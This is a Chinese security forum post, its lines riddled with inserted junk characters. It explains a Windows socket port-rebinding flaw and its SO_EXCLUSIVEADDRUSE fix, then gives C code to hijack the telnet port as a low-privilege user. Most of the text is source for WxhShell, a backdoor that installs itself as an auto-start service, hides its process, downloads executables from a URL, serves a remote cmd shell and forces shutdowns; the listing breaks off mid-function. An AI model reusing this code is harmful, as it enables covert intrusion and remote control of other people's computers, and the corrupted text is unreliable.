在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
'MY0v_ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
T~-OC0 >`=<(8bu saddr.sin_family = AF_INET;
e)A-.SRiO$ RGV}c# saddr.sin_addr.s_addr = htonl(INADDR_ANY);
< r7s,][& o-r00H| bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
I/ V`@*/+ dE]yb|Ld 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
/O&{fo ,7mB`0j> 这意味着什么?意味着可以进行如下的攻击:
_2E* Uy5G,! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
R.$1aqA} n|AV7c 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Auk#pO# d@e2+3< 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
5!*@gn Z[?zaQ$ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
1&#qq*{ 1?,1EYT" 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
-wrVhCd~g] c-q=Ct 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
8D6rShx = G"D=ozr 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
l[u=_uaYl _fE$KaP #include
$,
@,(M`i} #include
%8$ldNhV #include
#d;/Me #include
g8L{xwx< DWORD WINAPI ClientThread(LPVOID lpParam);
c@Q&i int main()
K0C3s {
~x6<A\ WORD wVersionRequested;
pUD(5v*0R DWORD ret;
GW\66$| WSADATA wsaData;
\k>1q/T0V BOOL val;
\_l4li SOCKADDR_IN saddr;
L. DD SOCKADDR_IN scaddr;
,Aw
Z% int err;
w:c9Z=KX SOCKET s;
+Hkr\ SOCKET sc;
U\GuCw int caddsize;
,4H/>yPw HANDLE mt;
H?cJ'Q,5 DWORD tid;
br%l>Y\" wVersionRequested = MAKEWORD( 2, 2 );
?'RB'o~ err = WSAStartup( wVersionRequested, &wsaData );
lFZl}x if ( err != 0 ) {
_:7:ixN[Ie printf("error!WSAStartup failed!\n");
kY^ k*-v return -1;
"X,*VQl: }
/_qW?LKG/ saddr.sin_family = AF_INET;
$(+#$F<eo+ gAr=fq-| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
?4cj"i Jp"yb`w saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
2KtK.2; 7 saddr.sin_port = htons(23);
W[<ZI>mf if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_"[Ls?tRX {
ve^gzE$<I printf("error!socket failed!\n");
6_g:2=6S return -1;
t W}"PKv }
=z[$o9 val = TRUE;
%ty`Oa2 //SO_REUSEADDR选项就是可以实现端口重绑定的
(\UpJlW if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
7#(0GZN9h% {
EhAaaG printf("error!setsockopt failed!\n");
M;9s return -1;
Z rv:uEl }
d9up!
k //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"x3x$JQZy //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Q^bYx (r5w //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
J`[gE`d 83J63Xa if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
28qlp>U {
![9$ru ret=GetLastError();
-&l%CR,U printf("error!bind failed!\n");
6aLRnH"Ud return -1;
^?NLA&v< }
Zc'^iDAY listen(s,2);
P$Q,t2$A while(1)
6MNr H {
-Fq`#" caddsize = sizeof(scaddr);
/cT6X]o8 //接受连接请求
z*B?Hw), sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Y"L |D,ex if(sc!=INVALID_SOCKET)
,^RZ1tLz {
4n"6<cO5q mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
;;6$d{ if(mt==NULL)
j
WSgO(y {
}Ogb|8 printf("Thread Creat Failed!\n");
bh(}f.@
9 break;
?)T@qn+ }
<4n"LJ9 }
@lWYc`>} CloseHandle(mt);
z'*"iaX<c }
y^z
c@f closesocket(s);
1nw\?r2 WSACleanup();
TF9A4 return 0;
et"Pb_-U }
nRvaCAt^
DWORD WINAPI ClientThread(LPVOID lpParam)
yj=OR|v {
E]v?:!!ds SOCKET ss = (SOCKET)lpParam;
mx#%oJnsi SOCKET sc;
S*gm[ZLQ unsigned char buf[4096];
{Kf5a
m SOCKADDR_IN saddr;
A{e>7Z72 long num;
XhA tf@n DWORD val;
/EG'I{oC DWORD ret;
Kv2S&P|jXM //如果是隐藏端口应用的话,可以在此处加一些判断
#uF`|M$u //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
RL$%Vy0 saddr.sin_family = AF_INET;
9g\;L:' saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
8+J>jZ saddr.sin_port = htons(23);
plp-[eKcD if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
J.'%=q(Sb {
ANNVE}, printf("error!socket failed!\n");
9ln=f= return -1;
)ki
Gk}2 }
^`B;SSV val = 100;
=H3tkMoi2 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
0ckmHv {
Oet+$ b ret = GetLastError();
%<!YjJ return -1;
T9XUNR{& }
\A,zwdt
P if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
YCQ$X {
(^(l=EN-< ret = GetLastError();
];lZ:gT return -1;
e#,(a }
C<3<,~gI if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
#UhH {
EZN!3y| m printf("error!socket connect failed!\n");
g8l6bh$} closesocket(sc);
H%X F~tF: closesocket(ss);
KGcjZx04! return -1;
Sb> &m }
pB#I_?( while(1)
-- FzRO{D {
0Sz[u\w //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
/`7+Gy< //如果是嗅探内容的话,可以再此处进行内容分析和记录
RgA"`p7{ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
3z(4axH' num = recv(ss,buf,4096,0);
k@un}}0r if(num>0)
KN[;z2i send(sc,buf,num,0);
} ck<R else if(num==0)
2,F9P+ break;
XL^05 num = recv(sc,buf,4096,0);
D[ #V if(num>0)
W>i"p~! send(ss,buf,num,0);
(S?Y3l| else if(num==0)
g_`a_0v break;
:>2wVN&\c }
mHHlm<?] closesocket(ss);
XC)9aC@s closesocket(sc);
$\Y&2&1s return 0 ;
(or"5}\6- }
R6Ov z-606g -PAEJn5$O ==========================================================
|Ia9bg'1U QcW8A ,\q 下边附上一个代码,,WXhSHELL
3_Xu3hNH! >>,G3/Zd* ==========================================================
d_M+W@{ w\YS5!P,V #include "stdafx.h"
UJSIbb5 @;tfHoXD #include <stdio.h>
,`Y$}"M4 #include <string.h>
j}eb
_K+I #include <windows.h>
w+R7NFq #include <winsock2.h>
*k}m?;esb #include <winsvc.h>
xNf}f 9l #include <urlmon.h>
NFZ(*v1U xdm \[s #pragma comment (lib, "Ws2_32.lib")
P .m@|w&.K #pragma comment (lib, "urlmon.lib")
.Mb[j1L^ LWT\1# #define MAX_USER 100 // 最大客户端连接数
L|T?,^ #define BUF_SOCK 200 // sock buffer
Rbf6/C #define KEY_BUFF 255 // 输入 buffer
<3x%-m+p4 32<D9_ #define REBOOT 0 // 重启
Qk:Lo*! #define SHUTDOWN 1 // 关机
JiaR*3# #~|k EGt #define DEF_PORT 5000 // 监听端口
ERV]N:( p@su:B2Rl #define REG_LEN 16 // 注册表键长度
> 0MP[ #define SVC_LEN 80 // NT服务名长度
w,LmAWZ4Y 7TMq#Pb // 从dll定义API
&Mk!qE<:N typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
_TOWqV^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#`*uX6C typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
j#n ]q{s4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
{,Q )D$i phuiLW{& // wxhshell配置信息
ORs:S$Nt$ struct WSCFG {
A_zCSRF, int ws_port; // 监听端口
BB/wL_=: char ws_passstr[REG_LEN]; // 口令
-[L\:'Gp5 int ws_autoins; // 安装标记, 1=yes 0=no
tF`L]1r> char ws_regname[REG_LEN]; // 注册表键名
F,wB6Cw char ws_svcname[REG_LEN]; // 服务名
p2Ep(0w,R5 char ws_svcdisp[SVC_LEN]; // 服务显示名
v'@gUgC char ws_svcdesc[SVC_LEN]; // 服务描述信息
Nh.+woFq4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
'"
"v7 int ws_downexe; // 下载执行标记, 1=yes 0=no
AygdAg'\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
tb+gCs'D char ws_filenam[SVC_LEN]; // 下载后保存的文件名
My8d%GfM $v;WmYTJ };
T(D6'm:X @(sz " // default Wxhshell configuration
<eG| ` struct WSCFG wscfg={DEF_PORT,
Q"XDxa'7" "xuhuanlingzhe",
gu(:'5cX 1,
Sv n7.Ivep "Wxhshell",
_YF>Y=D- "Wxhshell",
i-OD"5a` "WxhShell Service",
]!B0= XP "Wrsky Windows CmdShell Service",
!E 5FU *s "Please Input Your Password: ",
4^L;]v,|7 1,
i<^X z "
http://www.wrsky.com/wxhshell.exe",
M%S7cIX
]F "Wxhshell.exe"
)j36Y =r3 };
XHk"nbj *#Cx-J // 消息定义模块
@s LN char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
k<< x}= char *msg_ws_prompt="\n\r? for help\n\r#>";
bej(Ds0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
3x+lf4" char *msg_ws_ext="\n\rExit.";
@Lnv char *msg_ws_end="\n\rQuit.";
d?*]/ZiR char *msg_ws_boot="\n\rReboot...";
90Ki.K 0 char *msg_ws_poff="\n\rShutdown...";
H0af u)$, char *msg_ws_down="\n\rSave to ";
gXdMGO> 0~qc,-)3 char *msg_ws_err="\n\rErr!";
Pao^>rj char *msg_ws_ok="\n\rOK!";
> <YU'>% @|b-X? ` char ExeFile[MAX_PATH];
zEI+)|4?r int nUser = 0;
9&Jf4lC94 HANDLE handles[MAX_USER];
`}Zqmfs int OsIsNt;
xS,24{-HJ QRQZ{m SERVICE_STATUS serviceStatus;
6m:$mhA5 SERVICE_STATUS_HANDLE hServiceStatusHandle;
}(nT(9| Z}+}X| // 函数声明
V"YeF:I int Install(void);
~7PD/dre int Uninstall(void);
B)JMughq_ int DownloadFile(char *sURL, SOCKET wsh);
U]cXE1c>F int Boot(int flag);
}=-0DSLVj void HideProc(void);
;qWu8\T+ int GetOsVer(void);
ybBmg'198 int Wxhshell(SOCKET wsl);
M =^d void TalkWithClient(void *cs);
W8d-4')| int CmdShell(SOCKET sock);
G4cgY|71 int StartFromService(void);
V`I4"}M1 int StartWxhshell(LPSTR lpCmdLine);
lfgJQzi
G 0g?)j- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
+RooU?Aq VOID WINAPI NTServiceHandler( DWORD fdwControl );
U^dfNi@q ~|+ ~/ // 数据结构和表定义
*ub2dH4/ SERVICE_TABLE_ENTRY DispatchTable[] =
m+(Cl#+ {
vXJPvh< {wscfg.ws_svcname, NTServiceMain},
9;@p2t*v {NULL, NULL}
%O\@rws };
q1}!O kr"2 xuioU // 自我安装
yvd)pH<a2 int Install(void)
5BVvT
`< {
[^qT?se{ char svExeFile[MAX_PATH];
ALMsF2H HKEY key;
o2!738 strcpy(svExeFile,ExeFile);
K<>kT4 e5'I W__ // 如果是win9x系统,修改注册表设为自启动
[}L~zn6>?a if(!OsIsNt) {
HRf;bKZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
j,0`k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)~U1sW&t RegCloseKey(key);
X1@DI_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*#=Ij r~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
nR_Zrm RegCloseKey(key);
=CLPz8 return 0;
#V>R#Oh} }
T\l`Y-vu }
5u!\c(TJ+ }
g|~px$<iY else {
ofy"SM 8b/$Qp4d // 如果是NT以上系统,安装为系统服务
<,} h8;Fr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
V^_A{\GK if (schSCManager!=0)
+mocSx[ {
zgb$@JC SC_HANDLE schService = CreateService
:;{M0 (
FGV
L[\ schSCManager,
Q}AZkZ wscfg.ws_svcname,
"Rj
PTRe: wscfg.ws_svcdisp,
<[dcIw<7 SERVICE_ALL_ACCESS,
& zDuh[j} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
f.6>6%l SERVICE_AUTO_START,
&4?&tGi SERVICE_ERROR_NORMAL,
]C \+b< svExeFile,
6
U.Jaai: NULL,
a4*v'Xc5 NULL,
tguB@,O NULL,
*'Yy@T8M NULL,
n>'(d*[e& NULL
S=qh7ML );
@A,8>0+ if (schService!=0)
d/d)MoaJ*t {
-xtT,^<B CloseServiceHandle(schService);
f+Y4~k CloseServiceHandle(schSCManager);
2`=jKt strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
YC6T0m strcat(svExeFile,wscfg.ws_svcname);
4(Lmjue]? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
si0}b~t RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
wps/{h, RegCloseKey(key);
#UM,)bH return 0;
x3O%W?5 }
* 6}M.`.- }
=$'>VPQ
CloseServiceHandle(schSCManager);
#NM) }
U)(R4Y6 v }
5H3o?x w'@gzK return 1;
Ks.b).fH }
Sz0PZtJ Wdd}y`lS // 自我卸载
0z=KnQx"4 int Uninstall(void)
/2K"Mpf8 {
N3G9o`k HKEY key;
ASXGM0t ^+(5[z if(!OsIsNt) {
Q>1BOH1by if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
A?YYR%o%' RegDeleteValue(key,wscfg.ws_regname);
3BMz{ny= RegCloseKey(key);
p$Tk;;wm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
j97+'AKX RegDeleteValue(key,wscfg.ws_regname);
5:@bNNX'j RegCloseKey(key);
?mH=3
:~ return 0;
ifn=De3+ }
zhJeTctRz }
!u7KgB<=/F }
1Yb &E7j else {
H!;N0",]N Z`-$b~0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
1<!P:@( if (schSCManager!=0)
u&~Xgq5[ {
$0Y`>3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Fs]N9],=I if (schService!=0)
".}R$W {
@<W` w if(DeleteService(schService)!=0) {
R0?bcP& CloseServiceHandle(schService);
eT%x(P CloseServiceHandle(schSCManager);
Bl\:YYd return 0;
#S7oW@ }
@5Tl84@Q CloseServiceHandle(schService);
H;`F}qQ3 }
gJ l^K CloseServiceHandle(schSCManager);
+P(*S }
Gamn,c9 }
<EC"E #p aImzK/ return 1;
)"TVR{I%B }
{C w.?JU GgxPpS<ne // 从指定url下载文件
&g?GF\Y int DownloadFile(char *sURL, SOCKET wsh)
}Y-V!z5z! {
+s#%\:Y M HRESULT hr;
e=LrgRy+ char seps[]= "/";
nWK8.&{. char *token;
HxbzFu?h char *file;
%lj5Olj char myURL[MAX_PATH];
s_ZPo6p char myFILE[MAX_PATH];
~ZafTCa; 2P:X_:`~[ strcpy(myURL,sURL);
->ZP.7 token=strtok(myURL,seps);
yu_PZ"l while(token!=NULL)
Y%i<~"k {
56C8)? file=token;
mAlG}< token=strtok(NULL,seps);
ij]UAJ}t }
'bbw0aB4 !w7/G GetCurrentDirectory(MAX_PATH,myFILE);
/3)\^Pof strcat(myFILE, "\\");
+c8`N'~ strcat(myFILE, file);
YI0l&'7 send(wsh,myFILE,strlen(myFILE),0);
]j0+4w send(wsh,"...",3,0);
4`?PtRX hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
.$~3RjM if(hr==S_OK)
feXo"J return 0;
Wl3S]4A else
xn, u$@F return 1;
@*rMMy 4 pnu?=.O }
-+ F,L8 IWYQ67Yj // 系统电源模块
k*_Gg int Boot(int flag)
'n h^; {
`NhG|g HANDLE hToken;
=?|$}vDO[ TOKEN_PRIVILEGES tkp;
pbKmFweq v,n 8$, if(OsIsNt) {
:G6CWE OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Fepsa;\sU LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
W9l](Ow tkp.PrivilegeCount = 1;
;tQc{8O6L tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}S iR;2W AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
L%H\|>k` if(flag==REBOOT) {
"PMJh 3q if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
]$#bNt/p return 0;
?"'+tZ=f6 }
[+FiD else {
bB0/FiY7o if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
7a>+ma\ return 0;
:PV3J0pB~ }
~> )>hy) }
V|A)f@ Fs else {
a6zWg7 PN if(flag==REBOOT) {
RQ0^
1
R if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
A*BN
return 0;
b81^756 }
@@@}FV& else {
!{,2uQXe if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
>Ec;6V
e return 0;
OfrzmL<K }
q-CgXwU }
3` IR
^ qbQdxKk return 1;
F&`%L#s| }
LV ]10v6 BZv:E?1z // win9x进程隐藏模块
u~,hTY(% void HideProc(void)
5OPvy,e6 {
G5|nt#> v~x`a0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
c)Ng9p if ( hKernel != NULL )
4-HBXG9#/ {
PE;<0Cz\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
s5v}S'uO{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Vk`Uz1* FreeLibrary(hKernel);
VN09g& }
@r<2]RXlc 3u t<o- return;
^fN/ }
?*UWg[ R`o
Xkj // 获取操作系统版本
kbvF
9# int GetOsVer(void)
-+i7T^@| {
-p0*R<t OSVERSIONINFO winfo;
c0l?+:0M winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
HoX={^aG% GetVersionEx(&winfo);
S
-,$ ( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
f/z]kfgw return 1;
^[R/W VNk else
o+{7"Na8[ return 0;
_s<BXj }
8LF=l1=~ :RDk{^b) // 客户端句柄模块
5w~ 0Q int Wxhshell(SOCKET wsl)
OZz/ip-!lc {
J@i9)D_ SOCKET wsh;
a;a1>1 struct sockaddr_in client;
YHY*dk*|C DWORD myID;
jq#`cay! DGTE#?'( while(nUser<MAX_USER)
d%L/[.& {
Pxkh;:agD int nSize=sizeof(client);
Wcm'E3c, wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
mm*nXJ if(wsh==INVALID_SOCKET) return 1;
F(/Ka@
Mcz;`h|EW handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
kZ6:=l if(handles[nUser]==0)
iZ/iMDfC closesocket(wsh);
xEq? [M else
O` !XW8 nUser++;
ml)\R L }
#N|JC d_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
,y-!h@( ?
47"$=G return 0;
'
Qlj"U }
f6\4,() 'ahZ*@kr // 关闭 socket
`H9+]TWj< void CloseIt(SOCKET wsh)
.F%jbnKd_ {
}fef* >>} closesocket(wsh);
^R
:zma nUser--;
ang~_Ec. ExitThread(0);
]R!YRu }
a-nn[j p<mBC2!% // 客户端请求句柄
{wk#n.c void TalkWithClient(void *cs)
owyQFk {
0ap'6 1fM`n5?" SOCKET wsh=(SOCKET)cs;
eHIcfp@& char pwd[SVC_LEN];
r}(m jC"o char cmd[KEY_BUFF];
VMo:pV char chr[1];
<gFisc/#r int i,j;
W lW%z(RC 9s7TLT k while (nUser < MAX_USER) {
w /PE )xA De{ZQg) if(wscfg.ws_passstr) {
OwNo$b]h` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
sk:B;.z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
zK_P3rLsS //ZeroMemory(pwd,KEY_BUFF);
'-X O;{,-R i=0;
+!:=Mm while(i<SVC_LEN) {
^qVBg BPb bVa?yWb. // 设置超时
.kkhW8: fd_set FdRead;
6]?W&r|0I struct timeval TimeOut;
K W
ZEi? FD_ZERO(&FdRead);
jS8B:> FD_SET(wsh,&FdRead);
mQSn*;9\T3 TimeOut.tv_sec=8;
)%kiM<}) TimeOut.tv_usec=0;
d0Ubt int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
M} ri>o if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
K3WaBcm 2AMb-&po&f if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Xx2t0AIB pwd
=chr[0]; paMK]-
if(chr[0]==0xd || chr[0]==0xa) { fz8 41 <Y
pwd=0; =[Z3]#h
break; ;|$o z{Ll
} &m\Uc
i++; xpu2RE
} MR5[|kHJT
je 3Qq1
// 如果是非法用户,关闭 socket O(e!Vx{t!
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \D]9:BNJ
} vSv1FZu*
>Y+m54EE
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gNDMJ^`
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t.
(6tL]
=8rNOi
while(1) { F~7TE91C
nZ#u#V
ZeroMemory(cmd,KEY_BUFF); )iK:BL*Nw
Y%|dM/a`
// 自动支持客户端 telnet标准 T5I#7LN#
j=0; a"t~K
while(j<KEY_BUFF) { 2|WM?V&
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >,_0Mem2Rr
cmd[j]=chr[0]; F?cwIE\J
if(chr[0]==0xa || chr[0]==0xd) { % -+7=x
cmd[j]=0; ">20`Mj8
break; D:z_FNN
} iC>%P&|-)|
j++; ty4R2LnC
} R7!v=X]i
ukc
7Z
OQ
// 下载文件 0 VG;z#{J
if(strstr(cmd,"http://")) { @0NWc
c+
send(wsh,msg_ws_down,strlen(msg_ws_down),0); nII#uI/!q
if(DownloadFile(cmd,wsh))
]w$cqUhM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \d]Y#j<
else 2m*/$GZ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BSJS4+,E
} ^SsnCn-e
else { x
ju*zmu
G K3T w
switch(cmd[0]) { kg7bZ
'.>y'=
// 帮助 gN73)uJ0
case '?': { v]H9`s#,
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'iOaj0f
break; 0S'@(p[A
} I3'UrKKO
// 安装 Uq{$j5p8
case 'i': { 7sWe32
if(Install()) Zs-lN*u7.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FZZO-,xa
else kt\,$.v8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .}Ys+d1b9c
break; uqa
pj("
} V8&'dhuG
// 卸载 aSxDfYN=R
case 'r': { . &`YlK
if(Uninstall()) >}2
,2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /lPnf7
else o2hZ=+w>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7'Hh^0<
break; #b:YY^{g_
} gu~R4@3
// 显示 wxhshell 所在路径 B.;@i;7L
case 'p': { 3^-R_
char svExeFile[MAX_PATH]; ~gOZ\jm}
strcpy(svExeFile,"\n\r"); >H5t,FfQL
strcat(svExeFile,ExeFile); R$A%Zh6
send(wsh,svExeFile,strlen(svExeFile),0); KK4e'[Wf
break; i "X" -)#
} 7#oq|5
// 重启 i_*.
case 'b': { |:4?K*w",
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a#[gNT~[
if(Boot(REBOOT)) [wiB1{/Ls.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .J&89I]U
else { l{ql'm
closesocket(wsh); 72J=_d>+
ExitThread(0); _3wK: T{:
} b`j9}tZ
break; MLM/!N 7
} $>uUn3hSx\
// 关机 4K dYiuz0`
case 'd': { !$ii*}
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =h
+SZXe<r
if(Boot(SHUTDOWN)) }Qe(6'l_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A:2CP&*
else { XqhrQU|wM
closesocket(wsh); W/ WP }QM
ExitThread(0); e6tU8`z
} m .(\u?J
break; ?m7i7Dz
} S1@r.z2L
// 获取shell U:eX^LE7
case 's': { eT5IL(mH
CmdShell(wsh); I@O9bxR?
closesocket(wsh); !g}@xwWax
ExitThread(0); c;-NRvVb
break; "rEfhzmyF
} jq8TfJ|
// 退出 8fBhX,1
case 'x': { #f_'&m
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h6<i,1gQ1
CloseIt(wsh); ^`aw5 +S
break; \ Ucv<S
} cXf/
// 离开 \-{$IC-L
case 'q': { 7bRfkKD
send(wsh,msg_ws_end,strlen(msg_ws_end),0); l,(:~KH|
closesocket(wsh); 4}cxSl]jf!
WSACleanup(); =3SJl1w1
exit(1); V=5*)i/
break; /L@o.[H
} V*(x@pF
} %21 |-B
} ht>/7.p]
(JnEso-V
// 提示信息 +j+
v(-
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K3h7gY| .
} _/cX!/"
} QlR~rFs9t
.]zZw B
return; rUyGTe(@h
} iQG]v[$
GBR$k P
// shell模块句柄 B"#pvJN
int CmdShell(SOCKET sock) <|X+T,
{ 5M #',(X
STARTUPINFO si; z
j#<X
ZeroMemory(&si,sizeof(si)); @|">j#0
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !
9*l!(
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G?\eO&QG{"
PROCESS_INFORMATION ProcessInfo; sKR%YK
"A
char cmdline[]="cmd"; F s=x+8'M
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vkR~nIp
return 0; {%^4%Eco
} !;[cJbqnh
qxHn+O!h
// 自身启动模式 m?Cb^WgcF
int StartFromService(void) Oj_F1.
r
{ DrAIQ7Jd
typedef struct a j
.7t=^
{ q(hBqU W
DWORD ExitStatus; QkD]9#Id&
DWORD PebBaseAddress; Z02EE-A
DWORD AffinityMask; UGgo;e
DWORD BasePriority; _Ye.29
